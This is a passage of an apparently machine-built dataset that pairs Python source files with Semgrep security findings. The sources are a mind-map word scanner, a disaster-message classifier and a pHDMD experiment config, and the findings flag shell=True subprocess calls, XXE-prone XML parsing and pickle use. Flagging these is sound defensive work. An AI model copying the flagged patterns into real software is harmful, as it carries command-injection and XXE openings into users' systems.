null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 87, "col": 10, "offset": 3561}, "end": {"line": 87, "col": 21, "offset": 3572}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_37e035776bd78f16_02db3b70", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 115, "line_end": 115, "column_start": 9, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 115, "col": 9, "offset": 4684}, "end": {"line": 115, "col": 49, "offset": 4724}, "extra": {"message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_37e035776bd78f16_50b7b7ca", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 115, "line_end": 115, "column_start": 44, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 115, "col": 44, "offset": 4719}, "end": {"line": 115, "col": 48, "offset": 4723}, "extra": {"message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_37e035776bd78f16_54d79ae6", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 132, "line_end": 132, "column_start": 9, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 132, "col": 9, "offset": 5331}, "end": {"line": 132, "col": 49, "offset": 5371}, "extra": {"message": "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_37e035776bd78f16_772f6de3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "remediation": "False", "location": {"file_path": "unknown", "line_start": 132, "line_end": 132, "column_start": 44, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.subprocess-shell-true", "path": "/tmp/tmpb8jm_z1l/37e035776bd78f16.py", "start": {"line": 132, "col": 44, "offset": 5366}, "end": {"line": 132, "col": 48, "offset": 5370}, "extra": {"message": "Found 'subprocess' function 'check_output' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
8
true
[ "CWE-78", "CWE-78", "CWE-78", "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true", "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "rules.python.lang.security.audit.subprocess-shell-true" ]
[ "security", "security", "security", "security" ]
[ "LOW", "MEDIUM", "LOW", "MEDIUM" ]
[ "HIGH", "HIGH", "HIGH", "HIGH" ]
[ 115, 115, 132, 132 ]
[ 115, 115, 132, 132 ]
[ 9, 44, 9, 44 ]
[ 49, 48, 49, 48 ]
[ "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection", "A01:2017 - Injection" ]
[ "Detected subprocess function 'check_output' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "Found 'subprocess'...
[ 7.5, 7.5, 7.5, 7.5 ]
[ "LOW", "HIGH", "LOW", "HIGH" ]
[ "HIGH", "LOW", "HIGH", "LOW" ]
CLUS_GDAL_Rasterize_VRI.py
/Python/VRI/CLUS_GDAL_Rasterize_VRI.py
ElizabethKleynhans/clus
Apache-2.0
2024-11-18T18:39:56.084935+00:00
1,671,611,487,000
258974f7767b64eae422bdc688f06fff85c9aee9
3
{ "blob_id": "258974f7767b64eae422bdc688f06fff85c9aee9", "branch_name": "refs/heads/master", "committer_date": 1671611487000, "content_id": "81a8474823268faed986932af13fbefe157f0593", "detected_licenses": [ "MIT" ], "directory_id": "c1179a2582304b499026a07e0fceb696239adc31", "extension": "py", "filename": "smmx.py", "fork_events_count": 0, "gha_created_at": 1595591361000, "gha_event_created_at": 1671611487000, "gha_language": "PowerShell", "gha_license_id": "MIT", "github_id": 282206416, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3037, "license": "MIT", "license_type": "permissive", "path": "/scanners/smmx.py", "provenance": "stack-edu-0054.json.gz:570163", "repo_name": "psxvoid/simple-mind-quick-search", "revision_date": 1671611487000, "revision_id": "547286ce59bd77301bd4e92513bd27f7d381d66c", "snapshot_id": "0fbf471293e5f4b2df02fc655883759afeb1df11", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/psxvoid/simple-mind-quick-search/547286ce59bd77301bd4e92513bd27f7d381d66c/scanners/smmx.py", "visit_date": "2023-01-14T02:15:50.819634" }
2.765625
stackv2
#!python3 from xml.etree import ElementTree as et import glob import os import pathlib import string import collections import copy import inspect import shlex import zipfile try: import zlib compression = zipfile.ZIP_DEFLATED except: compression = zipfile.ZIP_STORED class SearchModelContext(collections.MutableMapping): def __init__(self, filenames = None): super(SearchModelContext, self).__init__() if filenames != None: self.filenames = filenames self.length = 1 self.count = 1 def merge(self, other): self.filenames = self.filenames + other.filenames def getNames(self): names = [] for path in self.filenames: filename = os.path.basename(path) if filename not in names: names.append(filename) return names def copy(self): self_copy = SearchModelContext() for k, v in inspect.getmembers(self): if k != '__weakref__': setattr(self_copy, k, v) return self_copy def __getitem__(self, key): return getattr(self, key) def __setitem__(self, key, value): if not hasattr(self, key): self.length = self.length + 1 self.count = self.count + 1 setattr(self, key, value) def __delitem__(self, key): delattr(self, key) self.length = self.length - 1 self.count = self.count - 1 def __iter__(self): return self.__dict__.items() def __len__(self): return self.length def __keytransform__(self, key): return key def read_smmx_as_words(filename): try: with zipfile.ZipFile(filename, mode='r') as smmx: with smmx.open('document/mindmap.xml', mode='r') as document: try: etree = et.fromstring(document.read()) notags = et.tostring(etree, encoding='utf8', method='text') word_list = notags.split() words = {word_list[i].decode("utf-8").lower(): SearchModelContext( [filename]) for i in range(0, len(word_list))} return words except: print("ERRROR!!! Invalid XML!!!") print(filename) return {} except: print("ERRROR!!! Invalid ZIP!!!") print(filename) return {} def scan(rootdir): words = {} paths = [] for filename in glob.iglob(rootdir + '/**', recursive=True): if os.path.isfile(filename): # filter dirs if pathlib.Path(filename).suffix == '.smmx': paths.append(filename) file_words = read_smmx_as_words(filename) for word in file_words: if (word not in words): words[word] = file_words[word] else: words[word].merge(file_words[word]) return words, paths
103
28.49
86
21
656
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_972abfc4c87aabe6_a7ea718d", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 3, "line_end": 3, "column_start": 1, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/972abfc4c87aabe6.py", "start": {"line": 3, "col": 1, "offset": 11}, "end": {"line": 3, "col": 40, "offset": 50}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 3 ]
[ 3 ]
[ 1 ]
[ 40 ]
[ "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service." ]
[ 7.5 ]
[ "LOW" ]
[ "MEDIUM" ]
smmx.py
/scanners/smmx.py
psxvoid/simple-mind-quick-search
MIT
2024-11-18T18:39:58.198406+00:00
1,612,321,096,000
7d9fdebc58e5d419d1e049d1cfb9091413b522f9
3
{ "blob_id": "7d9fdebc58e5d419d1e049d1cfb9091413b522f9", "branch_name": "refs/heads/main", "committer_date": 1612321096000, "content_id": "7f415e5899e10e166069c951d41093f7dc8f3f06", "detected_licenses": [ "MIT" ], "directory_id": "92da826e149485eb59923ac3bbe81a4649eca47f", "extension": "py", "filename": "train_classifier.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 330739698, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4241, "license": "MIT", "license_type": "permissive", "path": "/models/train_classifier.py", "provenance": "stack-edu-0054.json.gz:570188", "repo_name": "JayaPrakas/udacity_disaster_pipeline", "revision_date": 1612321096000, "revision_id": "990049866875600014584b584d8927fcd312a6dc", "snapshot_id": "7406acd3d54e3ca31a265f01b6f97157d94521c0", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/JayaPrakas/udacity_disaster_pipeline/990049866875600014584b584d8927fcd312a6dc/models/train_classifier.py", "visit_date": "2023-03-02T23:42:56.907289" }
2.96875
stackv2
import sys import numpy as np import pandas as pd from sqlalchemy import create_engine import re import pickle import nltk from nltk.tokenize import word_tokenize,sent_tokenize from nltk.stem import WordNetLemmatizer from nltk.corpus import stopwords from sklearn.metrics import confusion_matrix from sklearn.model_selection import train_test_split from sklearn.tree import DecisionTreeClassifier from sklearn.ensemble import RandomForestClassifier,AdaBoostClassifier from sklearn.naive_bayes import MultinomialNB from sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer, TfidfVectorizer from sklearn.multioutput import MultiOutputClassifier from sklearn.naive_bayes import MultinomialNB from sklearn.pipeline import Pipeline from sklearn.metrics import classification_report from sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score from sklearn.model_selection import GridSearchCV nltk.download(['punkt','stopwords','wordnet']) def load_data(database_filepath): """ Takes input database file path and creates sqlite engine and returns data frames used for our model and category names """ engine = create_engine('sqlite:///'+ database_filepath) df = pd.read_sql_table('messages', engine) X = df.message Y = df.iloc[:,4:] category_names = list(df.columns[4:]) return X, Y, category_names def tokenize(text): """ Cleans the data files which is given as text to numerical for us to perform machine learning classification """ text = re.sub(r"[^a-zA-Z0-9]", " ", text.lower()) tokens = word_tokenize(text) lemmatizer = WordNetLemmatizer() clean_tokens = [] for tok in tokens: clean_tok = lemmatizer.lemmatize(tok).lower().strip() clean_tokens.append(clean_tok) return clean_tokens def build_model(): """ Machine learning pipeline is created """ pipeline = Pipeline([ ('vect', CountVectorizer(tokenizer=tokenize)), ('tfidf', TfidfTransformer()), ('clf', MultiOutputClassifier(RandomForestClassifier())) ]) parameters = { 'vect__min_df': [1, 5], 'tfidf__use_idf':[True, False], 'clf__estimator__n_estimators':[10, 20] } cv = GridSearchCV(pipeline, param_grid=parameters) return cv def evaluate_model(model, X_test, Y_test, category_names): """ takes model,data and category names as inputs and evaluates it and generates classification report """ y_pred = model.predict(X_test) pred_data = pd.DataFrame(y_pred, columns = category_names) for column in category_names: print('_ '* 50 ) print('\n') print('column: {}\n'.format(column)) print(classification_report(Y_test[column],pred_data[column])) def save_model(model, model_filepath): """ dumps model as pickle so it can be used later """ pickle.dump(model, open(model_filepath, 'wb')) def main(): """ Performs and shows how model is performing and also error message when encountered with error """ if len(sys.argv) == 3: database_filepath, model_filepath = sys.argv[1:] print('Loading data...\n DATABASE: {}'.format(database_filepath)) X, Y, category_names = load_data(database_filepath) X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2) print('Building model...') model = build_model() print('Training model...') model.fit(X_train, Y_train) print('Evaluating model...') evaluate_model(model, X_test, Y_test, category_names) print('Saving model...\n MODEL: {}'.format(model_filepath)) save_model(model, model_filepath) print('Trained model saved!') else: print('Please provide the filepath of the disaster messages database '\ 'as the first argument and the filepath of the pickle file to '\ 'save the model to as the second argument. \n\nExample: python '\ 'train_classifier.py ../data/DisasterResponse.db classifier.pkl') if __name__ == '__main__': main()
158
25.84
130
14
921
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_ac0f7f5950790475_1b711990", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 125, "line_end": 125, "column_start": 5, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/ac0f7f5950790475.py", "start": {"line": 125, "col": 5, "offset": 2987}, "end": {"line": 125, "col": 51, "offset": 3033}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 125 ]
[ 125 ]
[ 5 ]
[ 51 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
train_classifier.py
/models/train_classifier.py
JayaPrakas/udacity_disaster_pipeline
MIT
2024-11-18T18:40:00.364715+00:00
1,676,040,773,000
e28596f39a512df66bd5968575b50e610745fcdc
2
{ "blob_id": "e28596f39a512df66bd5968575b50e610745fcdc", "branch_name": "refs/heads/main", "committer_date": 1676040773000, "content_id": "78093843890dbc1c03d4e9515235bf66a12cb810", "detected_licenses": [ "MIT" ], "directory_id": "2f3c413ff9678ddc4aff0fb182c402c4466723ea", "extension": "py", "filename": "config.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 483152686, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5304, "license": "MIT", "license_type": "permissive", "path": "/src/config.py", "provenance": "stack-edu-0054.json.gz:570219", "repo_name": "Jonas-Nicodemus/phdmd", "revision_date": 1676040773000, "revision_id": "6b72e840cd71fb22422a01c5550225996bcd1eff", "snapshot_id": "208b43ad3500713fdfe1b1244d891cf2c4b83672", "src_encoding": "UTF-8", "star_events_count": 4, "url": "https://raw.githubusercontent.com/Jonas-Nicodemus/phdmd/6b72e840cd71fb22422a01c5550225996bcd1eff/src/config.py", "visit_date": "2023-04-14T06:42:32.177808" }
2.46875
stackv2
import os import numpy as np import matplotlib as mpl from scipy.signal import sawtooth from pymor.models.iosys import PHLTIModel, LTIModel from algorithm.methods import IODMDMethod, PHDMDMethod, OIMethod from model.msd import msd from model.poro import poro class Experiment: """ Class for experiments. Parameters ---------- name: str The name of the experiment. model: str The name of the model of the experiment. fom : function Function for getting port-Hamiltonian system matrices. u : function Training input function. T : numpy.ndarray Training time interval. x0 : numpy.ndarray Training initial condition. time_stepper : str, optional Name of the time stepping method. Default 'implicit_midpoint'. """ def __init__(self, name, model, fom, u, T, x0, time_stepper='implicit_midpoint', u_test=None, T_test=None, x0_test=None, r=None, noise=None, methods=None): if methods is None: methods = [PHDMDMethod()] self.name = name self.model = model H, J, R, G, P, S, N = fom() self.fom = PHLTIModel.from_matrices(J, R, G, P, S, N, H) self.H = H self.u = u self.T = T self.x0 = x0 self.delta = T[1] - T[0] self.time_stepper = time_stepper if u_test is None: u_test = u if T_test is None: T_test = T if x0_test is None: x0_test = x0 self.u_test = u_test self.T_test = T_test self.x0_test = x0_test self.r = r self.noise = noise self.methods = methods siso_msd_exp = Experiment( name='SISO_MSD', model='msd', fom=lambda: msd(6, 1), u=lambda t: np.array([np.exp(-0.5 * t) * np.sin(t ** 2)]), T=np.linspace(0, 4, 101), x0=np.zeros(6), u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t)]), T_test=np.linspace(0, 10, 251), x0_test=np.zeros(6) ) siso_msd_exp_1 = Experiment( name='SISO_MSD', model='msd', fom=lambda: msd(6, 1), u=lambda t: np.array([np.exp(-0.5 * t) * np.sin(t ** 2)]), T=np.linspace(0, 4, 101), x0=np.zeros(6), u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t)]), T_test=np.linspace(0, 10, 251), x0_test=np.zeros(6), methods=[IODMDMethod(), PHDMDMethod()], ) siso_msd_exp_2 = Experiment( name='SISO_MSD_small_delta', model='msd', fom=lambda: msd(6, 1), u=lambda t: np.array([np.exp(-0.5 * t) * np.sin(t ** 2)]), T=np.linspace(0, 4, 40001), x0=np.zeros(6), u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t)]), T_test=np.linspace(0, 10, 100001), x0_test=np.zeros(6), methods=[IODMDMethod(), PHDMDMethod()], ) siso_msd_exp_3 = Experiment( name='SISO_MSD_RK45', model='msd', fom=lambda: msd(6, 1), u=lambda t: np.array([np.exp(-0.5 * t) * np.sin(t ** 2)]), T=np.linspace(0, 4, 101), x0=np.zeros(6), time_stepper='RK45', u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t)]), T_test=np.linspace(0, 10, 251), x0_test=np.zeros(6), methods=[IODMDMethod(), PHDMDMethod()], ) siso_msd_exp_4 = Experiment( name='SISO_MSD_noisy', model='msd', fom=lambda: msd(6, 1), u=lambda t: np.array([np.exp(-0.5 * t) * np.sin(t ** 2)]), T=np.linspace(0, 4, 101), x0=np.zeros(6), u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t)]), T_test=np.linspace(0, 10, 251), x0_test=np.zeros(6), noise=1e-4, methods=[OIMethod(), PHDMDMethod()], ) mimo_msd_exp = Experiment( name='MIMO_MSD', model='msd', fom=lambda: msd(100, 2), u=lambda t: np.array([np.exp(-0.5 / 100 * t) * np.sin(1 / 100 * t ** 2), np.exp(-0.5 / 100 * t) * np.cos(1 / 100 * t ** 2)]), T=np.linspace(0, 4 * 100, 100 * 100 + 1), x0=np.zeros(100), u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t), -sawtooth(2 * np.pi * 0.5 * t)]), T_test=np.linspace(0, 10, 251), x0_test=np.zeros(100), methods=[OIMethod(), PHDMDMethod()], ) poro_exp = Experiment( name='PORO', model='poro', fom=lambda: poro(980), u=lambda t: np.array([np.exp(-0.5 / 100 * t) * np.sin(1 / 100 * t ** 2), np.exp(-0.5 / 100 * t) * np.cos(1 / 100 * t ** 2)]), T=np.linspace(0, 4 * 100, 100 * 100 + 1), x0=np.zeros(980), u_test=lambda t: np.array([sawtooth(2 * np.pi * 0.5 * t), -sawtooth(2 * np.pi * 0.5 * t)]), T_test=np.linspace(0, 10, 251), x0_test=np.zeros(980) ) experiments = [siso_msd_exp, siso_msd_exp_1, siso_msd_exp_2, siso_msd_exp_3, siso_msd_exp_4] # experiments = [mimo_msd_exp] # experiments = [poro_exp] save_results = False # If true all figures will be saved as pdf width_pt = 420 # Get this from LaTeX using \the\textwidth fraction = 0.49 if save_results else 1 # Fraction of width the figure will occupy plot_format = 'pdf' colors = np.array(mpl.colormaps['Set1'].colors) plots_path = os.path.join('../plots') data_path = os.path.join('../data') simulations_path = os.path.join(data_path, 'simulations') evaluations_path = os.path.join(data_path, 'evaluations') force_simulation = False # If true the simulation will be forced to run again
184
27.83
110
18
1,870
python
